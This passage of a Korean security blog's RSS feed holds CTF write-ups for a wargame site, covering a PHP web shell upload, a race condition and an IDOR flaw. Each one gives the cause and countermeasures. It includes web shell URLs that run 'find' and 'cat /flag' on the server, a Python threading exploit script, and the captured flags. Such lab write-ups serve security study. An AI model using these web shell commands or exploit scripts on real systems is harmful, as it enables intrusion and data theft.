&lt;li&gt;웹셸을 이용하여 &lt;b&gt;플래그 파일 경로&lt;/b&gt; 탐색:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;a href=&quot;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=find%20/%20-name%20flag*&quot;&gt;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=find%20/%20-name%20flag*&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/flag 파일과 다른 관련 파일 경로를 확인:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;/flag /var/www/html/flag /sys/devices/platform/serial8250/tty/ttyS*/flags&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 플래그 파일 읽기&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹셸을 이용해 /flag 파일의 내용을 읽음:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;a href=&quot;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=cat%20/flag&quot;&gt;http://war.knock-on.org:10007/uploads/file_678c8d3a1e09b0.02931876.php?id=cat%20/flag&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/flag 파일 내용 출력:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;K0{Y0u_Up10aded_4_Web5he11!!!}&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;파일 업로드 검증 부족&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 업로드된 파일의 확장자 및 내용을 제대로 검증하지 않음.&lt;/li&gt;
&lt;li&gt;PHP와 같은 실행 가능한 파일 업로드 허용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경로 접근 제어 미비&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드된 파일이 실행 가능하며, 서버의 민감한 경로에 접근 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;명령어 실행 허용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PHP 파일에서 서버 명령어를 실행할 수 있는 system() 함수 사용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 파일 업로드 검증 강화&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;화이트리스트&lt;/b&gt; 사용:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;허용된 파일 확장자만 업로드 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MIME 타입 검증&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일의 실제 MIME 타입을 확인하여 서버에서 실행할 수 없는 형식만 허용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;파일 내용 검사&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 내용에 PHP 코드 등 실행 가능한 코드가 포함되지 않았는지 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 업로드된 파일 실행 방지&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드된 파일을 실행 가능한 디렉토리 외부에 저장:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;업로드 파일 디렉토리는 웹 서버에서 실행되지 않도록 설정.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 서버 명령어 실행 제한&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PHP 코드에서 system(), exec() 등 명령어 실행 관련 함수 비활성화.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/248</guid>
      <comments>https://noong2.tistory.com/248#entry248comment</comments>
      <pubDate>Wed, 22 Jan 2025 13:32:07 +0900</pubDate>
    </item>
    <item>
      <title>12.3 Race condition</title>
      <link>https://noong2.tistory.com/247</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 정의&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Flask 기반 웹 애플리케이션에서 /increase 엔드포인트를 익스플로잇하여 &lt;b&gt;플래그 획득&lt;/b&gt;이 목표.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;카운터 시스템&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초기 카운터 값은 0으로 시작.&lt;/li&gt;
&lt;li&gt;/increase 요청마다 카운터가 1씩 증가.&lt;/li&gt;
&lt;li&gt;카운터가 &lt;b&gt;15 이상&lt;/b&gt;일 때 &lt;b&gt;플래그 반환&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격 기법: 레이스 컨디션(Race Condition)&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;레이스 컨디션이란?&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동시성 문제가 발생하여 두 개 이상의 요청 또는 스레드가 &lt;b&gt;동일한 자원&lt;/b&gt;(예: 카운터 변수)에 동시에 접근.&lt;/li&gt;
&lt;li&gt;요청 처리 간 &lt;b&gt;락(Lock)&lt;/b&gt; 없이 동작할 경우, 변수 값이 예상과 다르게 처리되거나 비정상적으로 증가.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;서버 동작&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;/increase 엔드포인트:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카운터 값을 1 증가.&lt;/li&gt;
&lt;li&gt;0.1초 지연(sleep(0.1)) 후 값을 저장.&lt;/li&gt;
&lt;li&gt;카운터 값이 15 이상일 경우 플래그 반환.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;멀티스레드 환경&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;여러 요청이 동시에 /increase로 들어오면, 0.1초 지연 중 다른 요청이 카운터에 접근 가능.&lt;/li&gt;
&lt;li&gt;이로 인해 한 번의 요청으로 카운터 값이 여러 번 증가.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격 실행 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 서버 분석&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/increase 엔드포인트는 글로벌 카운터 변수에 의존하며, 0.1초의 지연이 레이스 컨디션 유발 조건.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 익스플로잇 코드 작성&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Python의 &lt;b&gt;threading&lt;/b&gt; 모듈을 사용해 동시 다발적으로 요청.&lt;/li&gt;
&lt;li&gt;한 번에 16개의 요청을 보내어 레이스 컨디션 발생.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737519721521&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests
from threading import Thread

# 서버 URL
url = &quot;http://war.knock-on.org:10015/increase&quot;

# 요청 함수
def send_request():
    response = requests.get(url)
    if &quot;Success&quot; in response.text:  # 플래그 반환 확인
        print(&quot;플래그 발견: &quot;, response.text)
    else:
        print(&quot;응답 확인: &quot;, response.text)

# 스레드 리스트
threads = []

# 16개의 스레드를 생성하여 동시 요청
for _ in range(16):
    thread = Thread(target=send_request)
    thread.start()
    threads.append(thread)

# 모든 스레드가 완료될 때까지 대기
for thread in threads:
    thread.join()&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 플래그 획득&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;16개의 스레드 요청으로 레이스 컨디션 발생:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카운터 값이 한 번의 요청 주기 안에 여러 번 증가.&lt;/li&gt;
&lt;li&gt;예상보다 빠르게 카운터가 15 이상에 도달.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;결과적으로, 서버에서 플래그 반환:&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;pre id=&quot;code_1737519735526&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;alert alert-info&quot; role=&quot;alert&quot;&amp;gt; Success!! K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!} &amp;lt;/div&amp;gt;
플래그: K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;락(Lock) 미사용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 요청 간의 데이터 충돌을 방지하기 위한 락을 구현하지 않음.&lt;/li&gt;
&lt;li&gt;카운터 변수 접근이 동기화되지 않아 값이 비정상적으로 증가.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지연 함수 사용&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;sleep(0.1) 함수는 데이터 충돌 가능성을 증가.&lt;/li&gt;
&lt;li&gt;요청이 처리되기 전 다른 요청이 카운터에 접근.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 데이터 동기화&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;락(Lock) 메커니즘&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청 처리 중 변수 접근을 제한.&lt;/li&gt;
&lt;li&gt;Flask에서는 threading.Lock을 사용하여 자원 보호 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 비동기 큐 사용&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청 데이터를 큐에 저장하고, 순차적으로 처리:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Python에서는 &lt;b&gt;Redis&lt;/b&gt;나 &lt;b&gt;Celery&lt;/b&gt; 같은 큐 시스템 활용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 요청 처리 제한&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청 간 시간 간격 조정:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 사용자가 과도한 요청을 보낼 경우 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;IP 기반의 &lt;b&gt;Rate Limiting&lt;/b&gt; 적용.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;과정 요약&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;/increase 엔드포인트의 레이스 컨디션 취약점 분석.&lt;/li&gt;
&lt;li&gt;Python &lt;b&gt;threading&lt;/b&gt; 모듈로 동시 다발적 요청 전송.&lt;/li&gt;
&lt;li&gt;카운터 값 비정상적 증가 유발 후 플래그 획득.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;플래그&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;K0{Cl1ck_m00oor3_F4st3r_t0_3XPL01T!!!}&lt;/b&gt;&lt;/p&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/247</guid>
      <comments>https://noong2.tistory.com/247#entry247comment</comments>
      <pubDate>Wed, 22 Jan 2025 13:22:39 +0900</pubDate>
    </item>
    <item>
      <title>12.2 IDOR</title>
      <link>https://noong2.tistory.com/246</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;IDOR란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Insecure Direct Object References (IDOR)&lt;/b&gt;는 웹 애플리케이션에서 발생하는 보안 취약점으로, 인증된 사용자가 다른 사용자의 데이터나 리소스에 접근할 수 있도록 허용하는 문제입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;취약점 특징&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보통 &lt;b&gt;URL, 요청 파라미터, 또는 쿠키&lt;/b&gt;에 포함된 &lt;b&gt;식별자(ID)&lt;/b&gt; 값이 제대로 검증되지 않을 때 발생.&lt;/li&gt;
&lt;li&gt;사용자가 자신의 권한 범위를 벗어나 다른 사용자의 데이터를 열람하거나 조작 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 해결 과정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 회원가입 및 로그인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시작&lt;/b&gt;: 웹사이트에 회원가입 후 로그인.&lt;/li&gt;
&lt;li&gt;로그인 후 &lt;b&gt;개인 게시물만 확인 가능&lt;/b&gt;한 상태에서 취약점 여부를 조사.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 게시물 ID 확인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL 분석:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;게시물 접근 시 /post/{ID} 형태의 URL 사용:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;/post/11 &lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이 구조는 ID 값이 다른 사용자의 게시물에 접근 가능하다는 가능성을 제시.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. IDOR 취약점 확인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;테스트&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;URL의 ID 값을 임의로 변경:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;/post/12 &lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내가 작성하지 않은 다른 사용자의 게시물에 접근 가능.&lt;/li&gt;
&lt;li&gt;이는 서버가 사용자의 권한을 제대로 검증하지 않는다는 것을 의미.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 첫 번째 게시물 접근&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표&lt;/b&gt;: 플래그가 포함된 게시물 찾기.&lt;/li&gt;
&lt;li&gt;URL을 /post/1로 변경하여 첫 번째 게시물에 접근:
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;b&gt;/post/1 &lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 번째 게시물 본문에 플래그가 포함되어 있었음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;권한 검증 부족&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버가 요청을 처리할 때, 사용자가 해당 리소스에 접근할 권한이 있는지 확인하지 않음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;식별자 노출&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리소스에 대한 고유 ID가 클라이언트에게 직접 노출.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;보안 대책&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;서버 측 권한 검증&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;요청을 처리하기 전에 사용자가 해당 리소스에 접근할 권한이 있는지 확인.&lt;/li&gt;
&lt;li&gt;예: 게시물 소유자와 요청 사용자가 동일한지 확인.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;식별자 보안 강화&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ID를 &lt;b&gt;예측 불가능한 값&lt;/b&gt;으로 대체:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;UUID(Universally Unique Identifier) 또는 해시 값 사용.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로깅 및 모니터링&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;의심스러운 요청 패턴(예: ID 순차 증가 요청)을 탐지하고 대응.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>Security/CTF</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/246</guid>
      <comments>https://noong2.tistory.com/246#entry246comment</comments>
      <pubDate>Wed, 22 Jan 2025 13:08:45 +0900</pubDate>
    </item>
  </channel>
</rss>